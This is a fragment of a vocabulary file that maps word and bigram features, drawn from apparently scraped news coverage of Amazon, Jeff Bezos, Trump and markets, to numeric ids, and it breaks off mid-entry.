"dystopian instant": 97771, "election cycle": 97772, "cramer comments": 97773, "beeson": 97774, "coonschristopher chris": 97775, "i8 concat": 97776, "function za": 97777, "right thing": 97778, "tennessee officials": 97779, "refuse": 97780, "bolduan": 97781, "maga apparel": 97782, "practice known": 97783, "viewed separately": 97784, "tariffs levied": 97785, "pagex": 97786, "susanne craig": 97787, "female persuasion": 97788, "starr needs": 97789, "bingeability": 97790, "lives matter": 97791, "mere existence": 97792, "comment vietnam": 97793, "saudi ties": 97794, "hang seng": 97795, "try free": 97796, "row making": 97797, "beginning trump": 97798, "newsflash email": 97799, "estimates handled": 97800, "time frame": 97801, "analytics canada": 97802, "slower quarter": 97803, "alfonso cuaron": 97804, "clinched online": 97805, "technology budget": 97806, "commerce app": 97807, "world infringement": 97808, "brathwaite": 97809, "candidate seized": 97810, "trump commerce": 97811, "deplorables features": 97812, "using american": 97813, "shelter davis": 97814, "property according": 97815, "seconds kelly": 97816, "offset declining": 97817, "york law": 97818, "accompanies": 97819, "blurry image": 97820, "inch laptop": 97821, "oil brent": 97822, "workplace discovered": 97823, "notions": 97824, "rose mcgowan": 97825, "pigs": 97826, "actually moved": 97827, "footprint cnn": 97828, "claim considering": 97829, "yves": 97830, "satanists": 97831, "disease adds": 97832, "sent stories": 97833, "continue delivering": 97834, "leap beer": 97835, "amazon leading": 97836, "administration pursues": 97837, "buy drugs": 97838, "wouldn approve": 97839, "house intern": 97840, "report understand": 97841, "lingo": 97842, "run probably": 97843, "time newly": 97844, "hunton andrews": 97845, "deems unfair": 97846, "million gallons": 97847, "patronite": 97848, "york gubernatorial": 97849, "unexpectedly positioning": 97850, "laughing issue": 97851, "ception time": 97852, "comment warning": 97853, "victims blame": 97854, "win nasa": 97855, "1021380986452545537 trump": 97856, "fingers": 97857, "ben kew": 97858, "bezos took": 97859, "cepr net": 97860, "utility emailed": 97861, "weeks attorney": 97862, "caused problems": 97863, "satc mmv": 97864, "recently opened": 97865, "brand remains": 97866, "morning column": 97867, "york university": 97868, "deal announced": 97869, "pro satanism": 97870, "super steep": 97871, "attended quietly": 97872, "venezuela fcc": 97873, "hasn priced": 97874, "sd": 97875, "cardinal health": 97876, "direct contradiction": 97877, "looking statements": 97878, "wonderkid sandeep": 97879, "inaugurations": 97880, "whiny seattle": 97881, "just savvy": 97882, "overseas netflix": 97883, "elite tom": 97884, "compliance boxes": 97885, "wonderful opportunity": 97886, "real issue": 97887, "hemingway susan": 97888, "tremendous crowds": 97889, "contractor offers": 97890, "easily says": 97891, "news 200": 97892, "trump promotes": 97893, "marketwatch marketwatch": 97894, "twitter arguably": 97895, "growing shortages": 97896, "weed joke": 97897, "adrian lam": 97898, "money contributions": 97899, "expected sales": 97900, "learnings": 97901, "stats share": 97902, "enable": 97903, "vaccines vaxxed": 97904, "centre building": 97905, "rental scams": 97906, "medium amazon": 97907, "preserve capitalism": 97908, "short termism": 97909, "disappointing holiday": 97910, "meaning easier": 97911, "listener email": 97912, "hoo boy": 97913, "reddick bar": 97914, "trillionaires": 97915, "china analysts": 97916, "lam nbc": 97917, "enquirer apparent": 97918, "tony nominated": 97919, "power public": 97920, "montreal": 97921, "upstateamerica": 97922, "jobs described": 97923, "derails": 97924, "yusaku": 97925, "portfolio fagan": 97926, "comfortable owning": 97927, "dawsey jdawsey1": 97928, "captains": 97929, "increasingly threadbare": 97930, "farmers amazon": 97931, "exclude rivals": 97932, "mcconnell presses": 97933, "viral cartoon": 97934, "salles strongly": 97935, "pecker publisher": 97936, "longer 2019": 97937, "contributions corporate": 97938, "dod": 97939, "potential obstacle": 97940, "trump design": 97941, "home country": 97942, "pass share": 97943, "princeton graduate": 97944, "forbes annual": 97945, "sparta memoir": 97946, "impact possible": 97947, "hat shows": 97948, "named starbucks": 97949, "commerce logistics": 97950, "intellectually immature": 97951, "jennings global": 97952, "universal child": 97953, "subsidizing chinese": 97954, "terms typically": 97955, "lance bottoms": 97956, "republicans blatantly": 97957, "enquirer demanded": 97958, "syed": 97959, "solar farms": 97960, "muellerism": 97961, "palsy": 97962, "contained list": 97963, "people involved": 97964, "bipartisanship republicans": 97965, "previously unaired": 97966, "hengyang china": 97967, "paperbacks buy": 97968, "extended contracts": 97969, "skeptics shira": 97970, "medicines": 97971, "moguldom": 97972, "collectible": 97973, "daughters 100000": 97974, "stupidest": 97975, "latest technology": 97976, "largest commerce": 97977, "published recently": 97978, "creating high": 97979, "doesn accept": 97980, "suresh": 97981, "big guy": 97982, "a2 j8i": 97983, "high note": 97984, "mining operations": 97985, "thought wow": 97986, "snider": 97987, "today noon": 97988, "prime notable": 97989, "employment trump": 97990, "isolating colony": 97991, "sally hubbard": 97992, "local": 97993, "legitimatized parallel": 97994, "annual safeway": 97995, "eating techniques": 97996, "chinese descent": 97997, "day hits": 97998, "provided upbeat": 97999, "perry madea": 98000, "intentional manner": 98001, "think avery": 98002, "lights somber": 98003, "corporate sweeteners": 98004, "southeast asia": 98005, "bundo parody": 98006, "showed small": 98007, "ascertain": 98008, "emails public": 98009, "political loyalist": 98010, "ceos alleges": 98011, "goddamn": 98012, "decisions regarding": 98013, "amazon hearing": 98014, "115 000": 98015, "story armed": 98016, "new regulatory": 98017, "espinal missed": 98018, "seduction": 98019, "isn stopping": 98020, "foto sourcecentury": 98021, "acknowledge": 98022, "candidates finish": 98023, "river lawsuit": 98024, "sanders wants": 98025, "frugal": 98026, "cortez represents": 98027, "edugyan knopf": 98028, "internet explorer": 98029, "arrogant jeff": 98030, "floyd mayweather": 98031, "fixated": 98032, "obama gang": 98033, "ramseur north": 98034, "lifetime sentence": 98035, "delaraba": 98036, "medicines originate": 98037, "title says": 98038, "regarding immigrant": 98039, "runnings lights": 98040, "bringing massive": 98041, "potential harm": 98042, "wmt growth": 98043, "adminstration": 98044, "c000212486": 98045, "feed share": 98046, "affairs": 98047, "blazes": 98048, "allegedly leaked": 98049, "distinct categories": 98050, "backlash john": 98051, "reduce market": 98052, "render legal": 98053, "bride donning": 98054, "started shadow": 98055, "home market": 98056, "trump approached": 98057, "turning drama": 98058, "sap oracle": 98059, "flourished": 98060, "bank ceo": 98061, "play services": 98062, "mta right": 98063, "voters republicans": 98064, "corporations turned": 98065, "cap ahead": 98066, "expressed outrage": 98067, "rare despite": 98068, "195 return": 98069, "hour raise": 98070, "bureaucracy amazon": 98071, "amazon mega": 98072, "outage": 98073, "unintended adverse": 98074, "spam protection": 98075, "oxide nys": 98076, "topics": 98077, "cboe volatility": 98078, "today story": 98079, "including enumerating": 98080, "publishes shocking": 98081, "ad exchange": 98082, "laptops imported": 98083, "constituents voiced": 98084, "100 section": 98085, "legitimate sellers": 98086, "billionaire ranks": 98087, "ricke": 98088, "similar study": 98089, "pro comprehensive": 98090, "kindle direct": 98091, "rights sent": 98092, "deserves props": 98093, "publicly threatened": 98094, "little harder": 98095, "reached nearly": 98096, "ore jan": 98097, "tax penalty": 98098, "expediting": 98099, "armed person": 98100, "young adult": 98101, "hogsett": 98102, "make grilled": 98103, "foreign docs": 98104, "states think": 98105, "ko orange": 98106, "expanding internationally": 98107, "believes divestiture": 98108, "tree removal": 98109, "service chief": 98110, "legend reuters": 98111, "pariente": 98112, "collusion charge": 98113, "neal marshall": 98114, "formats gain": 98115, "friend schwietzer": 98116, "hostile publications": 98117, "307 type": 98118, "personal jeff": 98119, "view details": 98120, "cruze hatchbacks": 98121, "regional operations": 98122, "mnuchin biggest": 98123, "sex tape": 98124, "extension parts": 98125, "chernow": 98126, "korean talks": 98127, "protection laws": 98128, "uber drivers": 98129, "amazon sentiment": 98130, "make israel": 98131, "deviate": 98132, "million open": 98133, "choice product": 98134, "spacey billionaire": 98135, "bulb photo": 98136, "walmart carterpage": 98137, "create fox": 98138, "floodgates": 98139, "testimony jon": 98140, "data tech": 98141, "raunchy manner": 98142, "home chef": 98143, "glueck told": 98144, "driver saw": 98145, "regionally syndicated": 98146, "america": 98147, "formation templates": 98148, "changed really": 98149, "colloquially known": 98150, "politico advocates": 98151, "infamous series": 98152, "class construction": 98153, "file charges": 98154, "ahead 2018": 98155, "extended solo": 98156, "reported giving": 98157, "workers boycott": 98158, "gaggle aboard": 98159, "washingtonian cities": 98160, "bidding closes": 98161, "dimon ceo": 98162, "loyal generals": 98163, "published sources": 98164, "larry liebert": 98165, "tech monopolies": 98166, "revenue recommendations": 98167, "anindelible fashion": 98168, "billion study": 98169, "previously donated": 98170, "improving healthcare": 98171, "specifically aimed": 98172, "alternative sources": 98173, "seal trade": 98174, "ago retailers": 98175, "book chart": 98176, "founder paul": 98177, "getting 417": 98178, "politics police": 98179, "coupon": 98180, "1iq5vw0 videodurationdivid": 98181, "lawsuit challenging": 98182, "demand emails": 98183, "sir herera": 98184, "american congressman": 98185, "support girls": 98186, "millions cower": 98187, "anybody including": 98188, "little reported": 98189, "better corporate": 98190, "hostile": 98191, "practices ranging": 98192, "extended prime": 98193, "manager": 98194, "largest stock": 98195, "prices dulled": 98196, "denies quiet": 98197, "operating income": 98198, "jobs lost": 98199, "arguing recently": 98200, "picks fiji": 98201, "declared trade": 98202, "cortez thought": 98203, "tangy": 98204, "telephone number": 98205, "broward counties": 98206, "ben brody": 98207, "sustained effort": 98208, "threat level": 98209, "180 million": 98210, "providing effectively": 98211, "197658": 98212, "structural remedy": 98213, "rampant wall": 98214, "post coverage": 98215, "want wider": 98216, "developing cloud": 98217, "blame fda": 98218, "president failed": 98219, "whitesell": 98220, "attorney mike": 98221, "300 amazon": 98222, "state nys": 98223, "jeff naughty": 98224, "republicans love": 98225, "called terraclear": 98226, "bombs": 98227, "encourages readers": 98228, "cow pies": 98229, "outlets including": 98230, "high volume": 98231, "numerous nice": 98232, "recast dvr": 98233, "trade pact": 98234, "peanuts": 98235, "2018 attorney": 98236, "campaign looms": 98237, "ownership market": 98238, "truly free": 98239, "delivery shipments": 98240, "50eb2d087826a77e5d000001 latest": 98241, "major newspapers": 98242, "source underperforming": 98243, "courts handle": 98244, "critics choice": 98245, "free naloxone": 98246, "york laguardia": 98247, "today biggest": 98248, "pays lip": 98249, "grilled cheese": 98250, "sting operation": 98251, "expansion plans": 98252, "multiple allegations": 98253, "lose": 98254, "service shipping": 98255, "recently successfully": 98256, "editor illinois": 98257, "democrat seeking": 98258, "photographer cbs": 98259, "general project": 98260, "good fun": 98261, "hardly noteworthy": 98262, "adulterous": 98263, "entire bushwick": 98264, "follow paul": 98265, "government audits": 98266, "purdue pharma": 98267, "l2 j8i": 98268, "says people": 98269, "reserve hit": 98270, "jeffbezos": 98271, "platform kindle": 98272, "amazon surfaced": 98273, "people ami": 98274, "return senior": 98275, "uses thousands": 98276, "investing billions": 98277, "speech parscale": 98278, "actual living": 98279, "agrawal": 98280, "bezos instituted": 98281, "trump stumps": 98282, "leads regulators": 98283, "billion versus": 98284, "quarter amzn": 98285, "push prosecutorial": 98286, "cascading": 98287, "warned ocasio": 98288, "locate": 98289, "recent general": 98290, "netflix offers": 98291, "418987 dems": 98292, "second tier": 98293, "amendment free": 98294, "ask somebody": 98295, "began attacking": 98296, "craft spells": 98297, "maximize profit": 98298, "reportedly urged": 98299, "bing": 98300, "document admitting": 98301, "quickly gaining": 98302, "amazon magnolia": 98303, "bugbears": 98304, "metaphysical": 98305, "segment experiencing": 98306, "sent sleazy": 98307, "similar concerns": 98308, "adherence": 98309, "automaker reported": 98310, "presidents dating": 98311, "angerer share": 98312, "says hottest": 98313, "employees govpredict": 98314, "fox standard": 98315, "finally bagged": 98316, "house sought": 98317, "adsense": 98318, "vancouversun cbsnews": 98319, "perception": 98320, "handbags bloomingdale": 98321, "scene showed": 98322, "remain flat": 98323, "dave ferrari": 98324, "story moodys": 98325, "mini maga": 98326, "p2380057 m570": 98327, "hollywood actors": 98328, "coalition government": 98329, "launched swa": 98330, "increased push": 98331, "target customers": 98332, "vimeo": 98333, "forces concede": 98334, "french fry": 98335, "target leveraging": 98336, "facebook alleged": 98337, "journalists asked": 98338, "francis wilkinson": 98339, "model sparking": 98340, "trump blasted": 98341, "westover coming": 98342, "bolsonaro wants": 98343, "split amazon": 98344, "cape believes": 98345, "wages appreciate": 98346, "repeated claim": 98347, "provide funding": 98348, "doorbell maker": 98349, "challenge mcbride": 98350, "trump followed": 98351, "hell step": 98352, "tower meeting": 98353, "carrell fake": 98354, "billion deal": 98355, "secret wedding": 98356, "outline particular": 98357, "shared tips": 98358, "photos unless": 98359, "infringement false": 98360, "sheets": 98361, "appears adamant": 98362, "perfect companion": 98363, "nbc meet": 98364, "schuster announced": 98365, "trump fierce": 98366, "press discussed": 98367, "movement wnd": 98368, "relief zuker": 98369, "clip bartiromo": 98370, "carpet rollout": 98371, "wise strategy": 98372, "ami share": 98373, "woody johnson": 98374, "raunchiest selfies": 98375, "currently represented": 98376, "cd cd": 98377, "purple": 98378, "la liga": 98379, "public enjoyment": 98380, "president publicly": 98381, "ruthless unhinged": 98382, "considering challenge": 98383, "fired alleges": 98384, "anti media": 98385, "right fit": 98386, "outlets cnn": 98387, "traffic increased": 98388, "maxsa attempt": 98389, "actuary": 98390, "day geekwire": 98391, "problems wi": 98392, "picture winning": 98393, "omnipresence": 98394, "controversies": 98395, "emerging market": 98396, "constant demand": 98397, "wasn disaster": 98398, "jimmy failla": 98399, "sergeants": 98400, "hit american": 98401, "centered design": 98402, "company offset": 98403, "agenda rightward": 98404, "cliff edge": 98405, "ami hasn": 98406, "gdp growth": 98407, "neurotic mother": 98408, "liveable city": 98409, "slaughterhouse": 98410, "311": 98411, "beast interview": 98412, "fair competition": 98413, "zack": 98414, "day average": 98415, "noon lunch": 98416, "sanders held": 98417, "comcast cmcsa": 98418, "___ humbug": 98419, "mumbai asia": 98420, "trump likes": 98421, "temporary differences": 98422, "cashier": 98423, "mechanism": 98424, "single candidate": 98425, "nasdaq dell": 98426, "giving excuses": 98427, "credibility abramowitz": 98428, "research believes": 98429, "ta prime": 98430, "billion apple": 98431, "turn source": 98432, "plantilla": 98433, "nation host": 98434, "potential challenger": 98435, "integrate amazon": 98436, "contrast": 98437, "post rep": 98438, "huffpost sept": 98439, "inevitably denounces": 98440, "previously written": 98441, "blew deal": 98442, "rad cvs": 98443, "confronted professional": 98444, "plant based": 98445, "bezos biografia": 98446, "unusual public": 98447, "represent rising": 98448, "amzn joining": 98449, "installations": 98450, "ranked": 98451, "middle class": 98452, "provide information": 98453, "suspicious": 98454, "sent link": 98455, "mead": 98456, "provide perfect": 98457, "benefitting": 98458, "1976": 98459, "people liberation": 98460, "cell service": 98461, "job folks": 98462, "equipped teacher": 98463, "press spokespeople": 98464, "information makes": 98465, "antenna": 98466, "8217 best": 98467, "plain view": 98468, "web company": 98469, "example partners": 98470, "showcased": 98471, "effects wizards": 98472, "deathbed confession": 98473, "fat pension": 98474, "online hosting": 98475, "multiple businesses": 98476, "digital images": 98477, "nextvideourl nextvideoplaytimeout": 98478, "voice recognition": 98479, "retailers final": 98480, "rose ceremony": 98481, "amazonian phil": 98482, "month tossed": 98483, "wouldn abide": 98484, "news uber": 98485, "pain medical": 98486, "essentially threatened": 98487, "trump complaints": 98488, "wears bald": 98489, "trump weekend": 98490, "memorandum trump": 98491, "mtv": 98492, "future foretold": 98493, "joe cohen": 98494, "topped trillion": 98495, "twitter today": 98496, "notably today": 98497, "good journalism": 98498, "bls category": 98499, "attorney buffalo": 98500, "company conduct": 98501, "operating cash": 98502, "kathy kraninger": 98503, "semi": 98504, "express clear": 98505, "hurts working": 98506, "typeof object": 98507, "update admp": 98508, "infants": 98509, "senate passage": 98510, "deal finalized": 98511, "sticking": 98512, "lightly vestager": 98513, "kids interested": 98514, "systems reports": 98515, "close euro": 98516, "telephone communications": 98517, "coif": 98518, "stock john": 98519, "godwink christmas": 98520, "unsure sanders": 98521, "374": 98522, "island route": 98523, "michael janofsky": 98524, "governor andrew": 98525, "potency": 98526, "long raged": 98527, "information ice": 98528, "knights": 98529, "invalid": 98530, "senior interior": 98531, "poor colin": 98532, "amazon lite": 98533, "aroma pentagon": 98534, "join growing": 98535, "fsg": 98536, "cities using": 98537, "dade school": 98538, "busy shoppers": 98539, "federal agency": 98540, "oscar isaac": 98541, "ai rudimentary": 98542, "women stockpiling": 98543, "read spigen": 98544, "rocketman": 98545, "conflicted": 98546, "suggesting sending": 98547, "zones say": 98548, "opposing politicians": 98549, "practised": 98550, "republican incumbent": 98551, "cement plant": 98552, "fed evans": 98553, "depose": 98554, "hollywood wants": 98555, "national secretariat": 98556, "seeing tremendous": 98557, "000 share": 98558, "handbags urban": 98559, "downside": 98560, "quarter creative": 98561, "tweet nonetheless": 98562, "firearm injuries": 98563, "strict management": 98564, "costs involved": 98565, "familiar strategy": 98566, "medication": 98567, "day unfortunately": 98568, "thriller series": 98569, "department stores": 98570, "braun": 98571, "musk spacex": 98572, "vulnerable body": 98573, "current ami": 98574, "senate races": 98575, "fee statement": 98576, "continental": 98577, "organization claimed": 98578, "information systems": 98579, "annual gift": 98580, "santos": 98581, "apparel similar": 98582, "quietly borne": 98583, "billion tax": 98584, "government state": 98585, "distinguish unlawful": 98586, "talked tough": 98587, "laughed bezos": 98588, "convince": 98589, "launches fernholz": 98590, "secular growth": 98591, "alibabas online": 98592, "speaks recklessly": 98593, "block mobile": 98594, "new ideas": 98595, "data visibility": 98596, "bury playboy": 98597, "socialized": 98598, "torn homes": 98599, "box trend": 98600, "nicolaus": 98601, "alums maya": 98602, "advocate groups": 98603, "shoppers begin": 98604, "veteran focused": 98605, "totaling 705": 98606, "data repositories": 98607, "store using": 98608, "annually speaking": 98609, "paper releases": 98610, "familiar topics": 98611, "facebook founder": 98612, "ec ma": 98613, "delivery euro": 98614, "kidnapper speaks": 98615, "interesting opportunity": 98616, "house asked": 98617, "command veto": 98618, "wouldn directly": 98619, "leaks page": 98620, "tape offering": 98621, "day stock": 98622, "packages according": 98623, "173 million": 98624, "brain damage": 98625, "million millennial": 98626, "checkup": 98627, "created equal": 98628, "moines": 98629, "making house": 98630, "subsidiary": 98631, "turnkey amazon": 98632, "attaches": 98633, "hairy surprise": 98634, "notably tech": 98635, "post aggressive": 98636, "average forward": 98637, "centered political": 98638, "radical suggestion": 98639, "loading replay": 98640, "lynn executive": 98641, "worker mistreatment": 98642, "receive bathroom": 98643, "chickasaw": 98644, "marketplace surge": 98645, "company amazon": 98646, "including attacking": 98647, "continued profitability": 98648, "pic fare": 98649, "faster moving": 98650, "herera right": 98651, "riches past": 98652, "griffith park": 98653, "ring ring": 98654, "jersey offered": 98655, "federal leadership": 98656, "regional economies": 98657, "lippman": 98658, "people mingle": 98659, "crucial pieces": 98660, "chilly": 98661, "gold reserves": 98662, "amazon launched": 98663, "extremely loose": 98664, "genuinely independent": 98665, "america conference": 98666, "just choosing": 98667, "showcase gop": 98668, "asking directions": 98669, "nordstrom jet": 98670, "powerdrill": 98671, "know generally": 98672, "china illegally": 98673, "reputable outlet": 98674, "unsustainable labor": 98675, "settle score": 98676, "headquarters amazingly": 98677, "twitty": 98678, "upgrades": 98679, "tightening labor": 98680, "doubled cheapskates": 98681, "corporate employees": 98682, "numerous reports": 98683, "moreconservative tiltsinclair": 98684, "whalen jeanne": 98685, "encoding": 98686, "difficult sanders": 98687, "prime don": 98688, "mexican migrant": 98689, "bestowed": 98690, "stock trump": 98691, "mature geographies": 98692, "oversimplified": 98693, "hamas rockets": 98694, "judge shares": 98695, "detailed": 98696, "monk seals": 98697, "v0 t0": 98698, "miraculously complete": 98699, "site final": 98700, "vast majority": 98701, "cost services": 98702, "times cohen": 98703, "struggle01": 98704, "movie production": 98705, "2012 school": 98706, "undermining": 98707, "inside camp": 98708, "ron vitiello": 98709, "dismantle": 98710, "previously deemed": 98711, "saying game": 98712, "misguided policies": 98713, "hewas railing": 98714, "reasons amazon": 98715, "christine jahnke": 98716, "arabia denies": 98717, "include women": 98718, "scraps new": 98719, "broken did": 98720, "silvio": 98721, "squad armed": 98722, "washington hearth": 98723, "itunes googleplay": 98724, "chairman terry": 98725, "volvo business": 98726, "quality spokesperson": 98727, "traveler form": 98728, "michelle markowitz": 98729, "kodali": 98730, "stoppropagation r4ee": 98731, "sectors online": 98732, "retail businesses": 98733, "separate tweetstorm": 98734, "respond makes": 98735, "faang data": 98736, "employees nearly": 98737, "amazon entire": 98738, "overworked warehouse": 98739, "president deflected": 98740, "showed sanchez": 98741, "disgrace partially": 98742, "subjects range": 98743, "2018 17532188": 98744, "including target": 98745, "strongly support": 98746, "keeping track": 98747, "5b": 98748, "unfavorable news": 98749, "marginal improvements": 98750, "donahue": 98751, "emoji amazon": 98752, "insubstantial": 98753, "big price": 98754, "credits infrastructure": 98755, "trump emergency": 98756, "500 shares": 98757, "bronx ruth": 98758, "make splash": 98759, "possible unjust": 98760, "wares sellers": 98761, "meat producer": 98762, "watching media": 98763, "grab fedex": 98764, "sliming": 98765, "popular russia": 98766, "nfl running": 98767, "charge passengers": 98768, "trump cbs": 98769, "poynter center": 98770, "later protester": 98771, "spend good": 98772, "changing journey": 98773, "chamber does": 98774, "officially begun": 98775, "simply": 98776, "dugout": 98777, "denuclearization insisting": 98778, "rampant gentrification": 98779, "sex race": 98780, "carmaggedon big": 98781, "office president": 98782, "ice officers": 98783, "clinton focuses": 98784, "cohen hearing": 98785, "product officer": 98786, "broader political": 98787, "expansions corporations": 98788, "fact 5_5": 98789, "platform deceptive": 98790, "obvious ways": 98791, "retailer amancio": 98792, "industry pushback": 98793, "fleeting moment": 98794, "space trump": 98795, "unapologetically adversarial": 98796, "says exports": 98797, "pitchfork": 98798, "koya": 98799, "aggregator": 98800, "paper online": 98801, "program prioritizes": 98802, "deal stands": 98803, "deletes 583m": 98804, "conversation started": 98805, "double sided": 98806, "compression": 98807, "stores include": 98808, "rants": 98809, "leisure business": 98810, "way lead": 98811, "shares alesco": 98812, "scarborough thinks": 98813, "mcallen tex": 98814, "removeeventlistener": 98815, "litigation counsel": 98816, "blair network": 98817, "bobbitt revealing": 98818, "800 word": 98819, "marketwatch check": 98820, "coiro": 98821, "named straight": 98822, "bu rt": 98823, "investigative piece": 98824, "11m": 98825, "chesterfield mo": 98826, "ravings": 98827, "golf balls": 98828, "wait isn": 98829, "community based": 98830, "handbags burlington": 98831, "iraq": 98832, "powerful training": 98833, "david graham": 98834, "share deeply": 98835, "toggle caption": 98836, "dunford mentioned": 98837, "infringing products": 98838, "pepper": 98839, "610 805": 98840, "news requests": 98841, "874 93m": 98842, "laws aim": 98843, "senate questions": 98844, "algonquin power": 98845, "reality lastly": 98846, "mechanically": 98847, "tyler clifford": 98848, "abandoned akron": 98849, "faa approval": 98850, "launching humans": 98851, "reminisce": 98852, "saaristo charter": 98853, "letter cited": 98854, "subtitles": 98855, "exceed": 98856, "house news": 98857, "amazon precisely": 98858, "ianniello announcing": 98859, "queens rozic": 98860, "copycat": 98861, "montaigne": 98862, "transitions jill": 98863, "securing industry": 98864, "street highest": 98865, "naming sanders": 98866, "operating multiple": 98867, "network externalities": 98868, "seconds amazon": 98869, "later trump": 98870, "parse": 98871, "swamps": 98872, "lly sgn": 98873, "snow technology": 98874, "nuclear bomb": 98875, "contact bezos": 98876, "geographically": 98877, "getelementbyid configobj": 98878, "poetic": 98879, "sonic": 98880, "key country": 98881, "human derived": 98882, "choice label": 98883, "york instances": 98884, "11am": 98885, "financial sector": 98886, "report explains": 98887, "gartner 2018": 98888, "cover damage": 98889, "tsla": 98890, "white neighborhoods": 98891, "late 90s": 98892, "flag": 98893, "investigation regulation": 98894, "xavier bindel": 98895, "hide ads": 98896, "cathedral private": 98897, "point news": 98898, "revealing look": 98899, "network facebook": 98900, "election sent": 98901, "deeper rooted": 98902, "tmall site": 98903, "personal happiness": 98904, "related articles": 98905, "sparking conversation": 98906, "1968": 98907, "shares took": 98908, "diversify spending": 98909, "sec aspiriant": 98910, "away president": 98911, "unify": 98912, "sensor": 98913, "special vitriol": 98914, "sell joint": 98915, "trump escalation": 98916, "crowned rose": 98917, "future ami": 98918, "does hardware": 98919, "entertaining thriller": 98920, "identified black": 98921, "place american": 98922, "stronger instead": 98923, "original suspira": 98924, "flawed study": 98925, "poultry pork": 98926, "time amazon": 98927, "usps news": 98928, "coming year": 98929, "bosch": 98930, "astonishingly rich": 98931, "compliance cost": 98932, "listers patrick": 98933, "policy heads": 98934, "print hardcover": 98935, "objectionable trump": 98936, "joust": 98937, "search outcome": 98938, "audra mulkern": 98939, "effectively doing": 98940, "kosik": 98941, "local pub": 98942, "established players": 98943, "major television": 98944, "financial practices": 98945, "blurb": 98946, "entirely succumbed": 98947, "annoyed tweet": 98948, "superstar": 98949, "decree expired": 98950, "chase andrews": 98951, "deeply thoughtful": 98952, "competition innovation": 98953, "trump rhetoric": 98954, "ubiquity": 98955, "comcast owns": 98956, "liberties union": 98957, "second fastest": 98958, "null inc_show_read_moreflag": 98959, "bidens presidential": 98960, "kept getting": 98961, "tesla shares": 98962, "deficits story": 98963, "vollero": 98964, "commemorating transgender": 98965, "tsxv reo": 98966, "powerful washington": 98967, "right griffeth": 98968, "carbon dioxide": 98969, "gop compared": 98970, "statement volume": 98971, "corrupt department": 98972, "apnewsbreak attorney": 98973, "america racial": 98974, "met opioid": 98975, "nyt today": 98976, "kitty": 98977, "vet": 98978, "current levels": 98979, "track shipments": 98980, "owned sun": 98981, "sanchez talked": 98982, "acid reducer": 98983, "trump sign": 98984, "uttered": 98985, "230": 98986, "judicially created": 98987, "televised debate": 98988, "trump saying": 98989, "manage amazon": 98990, "warned additional": 98991, "segment potential": 98992, "socially desirable": 98993, "disclosure just": 98994, "charlton": 98995, "darkly": 98996, "primarily based": 98997, "biggest package": 98998, "stop giving": 98999, "slowly burn": 99000, "finished little": 99001, "historic relationship": 99002, "tells nbc": 99003, "greatest cities": 99004, "pocahontas wacky": 99005, "wanting open": 99006, "pot cuisine": 99007, "mount": 99008, "answered questions": 99009, "women just": 99010, "program aired": 99011, "schweizer remarked": 99012, "hq2 headquarters": 99013, "fact washington": 99014, "winner danny": 99015, "6000 years": 99016, "europe floats": 99017, "online dating": 99018, "amazon channels": 99019, "advertising duopoly": 99020, "news chairman": 99021, "creating jobs": 99022, "peerlessmedia": 99023, "mandating review": 99024, "aapl twitter": 99025, "called maven": 99026, "body creation": 99027, "basic dichotomy": 99028, "mortar powerhouse": 99029, "macmillan publishing": 99030, "sharpened definition": 99031, "zain": 99032, "enquir": 99033, "traditional way": 99034, "midterm race": 99035, "minerals agricultural": 99036, "import taxes": 99037, "company projections": 99038, "squabbling": 99039, "critics ryan": 99040, "technology newsletter": 99041, "zino": 99042, "terminated permanently": 99043, "people recognizing": 99044, "democratic decisions": 99045, "gramophone": 99046, "589": 99047, "stat muckerman": 99048, "conservative members": 99049, "gone ahead": 99050, "queens residents": 99051, "billlion": 99052, "withdrawal poured": 99053, "hurricane sandy": 99054, "sport": 99055, "175 points": 99056, "management guys": 99057, "eia environmental": 99058, "loser political": 99059, "fails": 99060, "sinclair script": 99061, "internet retail": 99062, "highest followed": 99063, "team involved": 99064, "valuation milestone": 99065, "gaming audio": 99066, "canadian president": 99067, "reach tipping": 99068, "emmet flood": 99069, "longshot democratic": 99070, "service offering": 99071, "joke likewise": 99072, "lobbying spending": 99073, "pence stood": 99074, "bozo seriously": 99075, "claims ami": 99076, "german owned": 99077, "leaning away": 99078, "mulling throwing": 99079, "says entertainment": 99080, "france days": 99081, "trump scandals": 99082, "included giving": 99083, "bloomberg reported": 99084, "singaporean teen": 99085, "important matter": 99086, "connected firm": 99087, "national day": 99088, "owned parks": 99089, "california oscar": 99090, "steadily cutting": 99091, "transactional activity": 99092, "flying colors": 99093, "developer building": 99094, "sees amazon": 99095, "presence right": 99096, "studied engineering": 99097, "yuelai": 99098, "story unemployment": 99099, "actuarial": 99100, "satisfactory": 99101, "poor conditions": 99102, "creating mass": 99103, "service enormous": 99104, "mediterranean sea": 99105, "sellers hbk": 99106, "economic forum": 99107, "oz hotspots": 99108, "imposes auto": 99109, "coie northeastern": 99110, "raises improved": 99111, "average swooned": 99112, "american remains": 99113, "run italian": 99114, "drifting": 99115, "futures dipped": 99116, "francisco matrimonial": 99117, "center boom": 99118, "rebate dropping": 99119, "predicted bezos": 99120, "jurassic": 99121, "600x400 getty_478170176_388027": 99122, "controlling platforms": 99123, "wadhwa vivek": 99124, "forcing competitors": 99125, "footing early": 99126, "promise adams": 99127, "service dds": 99128, "productive according": 99129, "political peril": 99130, "recent bump": 99131, "2018 hatch": 99132, "german sandal": 99133, "embrace difference": 99134, "bushy": 99135, "0n17_bcccgcccggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg": 99136, "undergrowth": 99137, "ship avalanche": 99138, "deemed essential": 99139, "complicated technology": 99140, "national brick": 99141, "busing": 99142, "story avon": 99143, "turn trump": 99144, "situation believe": 99145, "feinstein": 99146, "irish facebook": 99147, "reputable publication": 99148, "berg increased": 99149, "breaks spokeswoman": 99150, "2018 garmin": 99151, "car ownership": 99152, "trade medicine": 99153, "gain influence": 99154, "unveils hardware": 99155, "related contracts": 99156, "t1 _blank": 99157, "soldiers disembarked": 99158, "weeks ahead": 99159, "stories including": 99160, "france titles": 99161, "president fueling": 99162, "delhi": 99163, "futures indicated": 99164, "donations fail": 99165, "usps does": 99166, "employees pressure": 99167, "nixon wanted": 99168, "ironclad": 99169, "declines": 99170, "free store": 99171, "host kylie": 99172, "mmv": 99173, "orwellian fear": 99174, "extra damage": 99175, "sophisticated surveillance": 99176, "looser": 99177, "agency sessions": 99178, "business standard": 99179, "ordination": 99180, "burritos": 99181, "shirt saying": 99182, "berated amazon": 99183, "peninsula reportedly": 99184, "tapping equityand": 99185, "trade live": 99186, "addicting jacobson": 99187, "weeks": 99188, "misfits": 99189, "perfect predator": 99190, "wear basically": 99191, "url 